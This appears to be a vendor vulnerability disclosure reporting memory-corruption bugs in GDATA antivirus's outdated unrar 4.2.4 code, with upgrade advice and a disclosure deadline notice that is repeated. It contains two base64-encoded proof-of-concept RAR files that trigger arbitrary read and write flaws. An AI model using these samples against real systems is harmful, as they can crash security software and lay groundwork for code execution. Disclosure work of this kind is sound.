GDATA AV crashes when parsing malformed RAR files that target vulnerabilities in the code of unrar 4.2.4, which was obsoleted in 2013 with the release of 5.0.4.

Multiple vulnerabilities exists in the old rarvm.cpp; among others a read-from-arbitrary-address in the VMSF_RGB filter, and a write-to-arbitrary-address in the VMSF_DELTA filter. The code appears to be identical to the code described on page 10 and 11 of Tavis Ormandy's 2012 report on memory corruptions in Sophos AV (https://lock.cmpxchg8b.com/sophailv2.pdf).

This report includes two example files, one to trigger the VMSF_DELTA near-arbitrary write, and one to trigger the VMSF_RGB near-arbitrary read.

It is almost certain that these vulnerabilities can be turned into arbitrary code execution.

Given that many other fixes have happened to the unrar code base since 4.2.4, it is highly recommended that you upgrade the code as soon as possible and introduce measures to monitor security issues bugs in third-party code that you include.

Base64-encoded RAR file to trigger the VMSF_DELTA issue:

UmFyIRoHAPlOcwAADgAAAAAAAAAAMAh0AAAmAI4AAAAAAAAAAhBBUiEAAAAAHQAGAAAAACBzdGRv
dXQgIVUMzRDNmBGByDAda+AXaSv4KvQr1K/oejL05mXmXmww5tEk8gA9k8nmieyeyeswuOR6cx69
a2Hd6zQwu3aoMDDwMEswADAAMD4P938w+dydoRFwAmwAAAAAvv////+/////+9W3QFgAAQAGAAAA
Ooimhd12AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Base64-encoded RAR file to trigger the VMSF_RGB issue:

UmFyIRoHAPlOcwAADgAAAAAAAAAANNx0AAAmAAYBAAAAAAAAAhBBUiEAAAAAHQAGAAAAACBzdGRv
dXQgIVUMzRDNmBGByDAda+AXaSv4KvQr1K/oejL05mXmXmww5tEk8gA9k8nmieyeyeswuOR6cx69
a2Hd6zQwu3aoMDDwMEswADAAMD4P938w+dydoRFwCewAAAAAv71bdAG/////+9W3QFgAAQAGAAAB
KuksTlfcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 

Please see https://bugs.chromium.org/p/project-zero/issues/detail?id=1278&desc=2
for further details.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.